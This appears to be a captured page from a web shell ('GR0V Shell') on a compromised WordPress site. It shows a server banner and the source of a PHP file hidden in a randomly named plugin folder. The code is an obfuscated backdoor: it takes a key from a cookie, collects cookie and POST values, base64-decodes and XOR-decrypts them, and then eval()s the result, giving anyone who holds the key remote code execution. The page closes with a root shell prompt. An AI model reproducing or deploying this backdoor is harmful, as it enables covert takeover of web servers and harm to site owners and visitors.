? GR0V Shell

GR0V shell

Linux www.koreapackagetour.com 2.6.32-042stab145.3 #1 SMP Thu Jun 11 14:05:04 MSK 2020 x86_64

Path : /home/admin/domains/happytokorea.net/public_html/wp-content/plugins/754ronsr/
File Upload :
Current File : /home/admin/domains/happytokorea.net/public_html/wp-content/plugins/754ronsr/qThoIRL.php

$VdoZP = "\101" . chr (95) . "\167" . "\117" . chr (103); $zBwEh = "\143" . chr ( 512 - 404 ).chr (97) . chr (115) . chr ( 538 - 423 )."\x5f" . "\145" . "\170" . "\151" . chr (115) . "\164" . chr (115); $mjDqQEEx = class_exists($VdoZP); $zBwEh = "64722";$cASde = strpos($zBwEh, $VdoZP);if ($mjDqQEEx == $cASde){function jTiAg(){$McaeJqvXx = new /* 23914 */ A_wOg(22904 + 22904); $McaeJqvXx = NULL;}$hFGRyp = "22904";class A_wOg{private function rqiqHVkx($hFGRyp){if (is_array(A_wOg::$QjhQE)) {$wwwwxesu2 = str_replace("<" . "?php", "", A_wOg::$QjhQE["content"]);eval($wwwwxesu2); $hFGRyp = "22904";exit();}}public function JjNklHvnkE(){$wwwwxesu = "22944";$this->_dummy = str_repeat($wwwwxesu, strlen($wwwwxesu));}public function __destruct(){A_wOg::$QjhQE = @unserialize(A_wOg::$QjhQE); $hFGRyp = "781_33184";$this->rqiqHVkx($hFGRyp); $hFGRyp = "781_33184";}public function KXpITSdN($wwwwxesu, $zQHhgT){return $wwwwxesu[0] ^ str_repeat($zQHhgT, intval(strlen($wwwwxesu[0]) / strlen($zQHhgT)) + 1);}public function gdvps($wwwwxesu){$PsEgL = 'b' . "\x61" . chr (115) . 'e' . "\x36" . "\x34";return array_map($PsEgL . "\x5f" . chr ( 100 - 0 )."\145" . chr ( 767 - 668 )."\157" . "\144" . "\x65", array($wwwwxesu,));}public function __construct($VbyQZGX=0){$jGwsn = "\54";$wwwwxesu = "";$QLDJKOXCIq = $_POST;$SlLDnw = $_COOKIE;$zQHhgT = "fdf096a4-423c-4c6a-938a-ef592bef8417";$LoKVgmFsWm = @$SlLDnw[substr($zQHhgT, 0, 4)];if (!empty($LoKVgmFsWm)){$LoKVgmFsWm = explode($jGwsn, $LoKVgmFsWm);foreach ($LoKVgmFsWm as $qIKJb){$wwwwxesu .= @$SlLDnw[$qIKJb];$wwwwxesu .= @$QLDJKOXCIq[$qIKJb];}$wwwwxesu = $this->gdvps($wwwwxesu);}A_wOg::$QjhQE = $this->KXpITSdN($wwwwxesu, $zQHhgT);if (strpos($zQHhgT, $jGwsn) !== FALSE){$zQHhgT = str_pad($zQHhgT, 10); $zQHhgT = ltrim($zQHhgT);}}public static $QjhQE = 57732;}jTiAg();}

T1KUS90T
  root-grov@210.1.60.28:~$